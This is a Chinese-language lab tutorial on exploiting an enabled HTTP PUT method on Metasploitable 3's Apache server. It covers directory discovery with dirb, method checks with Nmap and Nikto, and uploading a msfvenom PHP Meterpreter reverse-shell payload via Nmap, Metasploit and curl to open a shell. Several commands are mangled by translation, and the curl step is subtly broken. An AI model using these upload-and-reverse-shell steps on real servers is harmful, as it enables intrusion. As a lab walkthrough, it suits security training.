在这个教程中,我们将利用Metasploitable 3的一个Web服务器上的HTTP PUT方法将文件上传到Web服务器。如果Web服务器上启用了HTTP PUT方法,则可以使用该方法将指定资源上载到目标服务器(如Web Shell),然后执行该方法。在本教程中,我们将了解如何确定HTTP PUT方法是否已启用,并且我们将使用几种不同的方法来上传Meterpreter反向shell。
对于本教程,我们假设您已安装了Metasploitable 3。如果您尚未安装Metasploitable 3,请按照如何安装如何安装Metasploitable 3教程进行安装。
确定允许的HTTP方法
首先,我们将学习如何确定允许哪些HTTP方法,并确定HTTP PUT是否是其中之一。从Nmap端口扫描中,我们发现Metasploitable在端口80上运行Microsoft IIS,在端口8585上运行Apache httpd 2.2.21。在本教程中,我们将在端口8585上定位Apache服务器。

在Metasploitable 3上进行Nmap服务扫描
用Dirb发现Web服务器目录
下一步是找出这个网络服务器上有什么目录。暴力破解网络服务器上的目录的好工具是dirb。当我们使用以下命令在Apache网络服务器上运行dirb时,我们找到一个名为'uploads'的目录:
dirb http://172.28.128.3:8585

Dirb在Metasploitable 3端口8585上找到上传目录。
Nmap:确定允许的HTTP方法
我们可以使用几种方法来确定我们是否允许使用HTTP PUT方法将文件上传到此目录。可以使用提供允许方法列表的OPTIONS HTTP方法来测试允许的HTTP方法。但是,因为这可能并不总是有效,所以更简单的方法是在上传目录上运行Nmap http-methods脚本。当我们运行以下命令时,请参阅为上传目录启用HTTP PUT:
nmap -script http-methods -script-args http-methods.url-path ='/ uploads',http-methods.test-all -p 8585 172.28.128.3

Nmap HTTP-Methods脚本返回上传目录的允许方法。
正如我们所看到的,网络服务器允许我们将文件上传到上传目录,甚至删除文件。
我们还可以使用网络漏洞扫描程序Nikto来确定Web服务器中的漏洞。如果启用HTTP PUT方法,Nikto会将其指示如下:
nikto -host http://172.28.128.3:8585/uploads

Nikto输出的最后一行表示上传目录允许使用HTTP PUT上传文件。
利用shell的HTTP PUT
现在我们知道我们可以将文件上传到这个目录中,让我们看看几种不同的方法来做到这一点。在本教程的下一步中,我们将上传一个Meterpreter PHP反向shell脚本到网络服务器并执行它。我们将演示如何使用Nmap,Metasploit和Curl上传文件。
Nmap HTTP PUT Meterpreter外壳
让我们通过运行以下命令首先创建一个带有msfvenom的PHP Meterpreter反向shell有效负载:
msfvenom -p php / meterpreter / reverse_tcp lhost = [Listening host IP] lport = 4444 -f raw> /root/meterpreter.php

用Msfvenom创建PHP Meterpreter反向shell有效载荷。
修改文件以确保脚本包含正确的PHP打开和关闭标记:

在文件的开头添加PHP开始标记:
接下来,我们将在Metasploit中设置侦听器,以使用以下命令拦截反向shell:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
//确保在这里设置有效载荷,否则您可能会收到错误
set lhost [Listening host IP]
set lport 4444
run

在Metasploit中设置多处理器漏洞利用。
Nmap HTTP-PUT脚本
现在我们已经创建了Meterpreter负载并在Metasploit中设置了我们的监听器,我们将使用Nmap将Meterpreter负载上传到网络服务器。执行以下命令来运行 Nmap http-put脚本:
nmap -sV -script http-put -script-args http-put.url ='/ uploads / meterpreter.php',http-put.file ='/ root / Desktop / meterpreter.php'-p 8585 [目标IP]

在端口8585上使用Nmap http-put脚本。
正如我们在截图中看到的,meterpreter.php已成功创建。由于端口8585未在nmap服务文件中定义为http服务端口,因此使用-sV标志运行服务扫描非常重要。否则,脚本将无法上传文件,只会显示开放端口和未知服务。
Metasploit HTTP PUT辅助模块
我们也可以使用Metasploit辅助模块HTTP PUT将文件上传到uploads web目录。在下面的步骤中,我们将上传我们之前在本教程中创建的PHP Meterpreter反向shell脚本,并用多处理程序模块拦截Meterpreter反向shell。运行以下命令:
msfconsole
use auxiliary/scanner/http/http_put
set rhosts [rhost]
set rport 8585
set path /uploads
set filename meterpreter.php
set filedata file://root/Desktop/meterpreter.php

Metasploit HTTP-PUT选项。
下一步是再次设置多处理器模块以拦截反向shell连接并使用run命令执行辅助模块:

Metasploit表示上传失败。
Metasploit向我们显示上传失败,但是当我们检查web服务器上的上传目录时,我们可以看到文件上传确实经历了:

但上传确实通过了。
剩下的就是执行PHP脚本并从我们的多处理程序接收来自Metasploitable 3机器的反向shell:

在web服务器上执行meterpreter.php脚本,并在多处理器上获得一个反向shell。
使用Curl的HTTP PUT
最后,我们还可以使用Curl通过单个命令上传Meterpreter负载:
curl -i -X PUT -H“Content-Type:text / plain; charset = utf-8“-d”/root/Desktop/meterpreter.php“http://172.28.128.3:8585/uploads/meterpreter.php

或者,您也可以使用Curl使用HTTP-PUT上传meterpreter.php文件。
正如我们所看到的,meterpreter.php文件已成功上传到网络服务器。
总结
在本教程中,我们学习了如何评估使用HTTP PUT方法上传文件的网络服务器。我们发现Metasploitable 3机器上端口8585上的uploads目录允许我们上传恶意文件并在web服务器上下文中执行它们。我们使用了3种不同的工具来上传文件;Nmap,Metasploit和Curl
本文作者为Mr.Bai,转载请注明。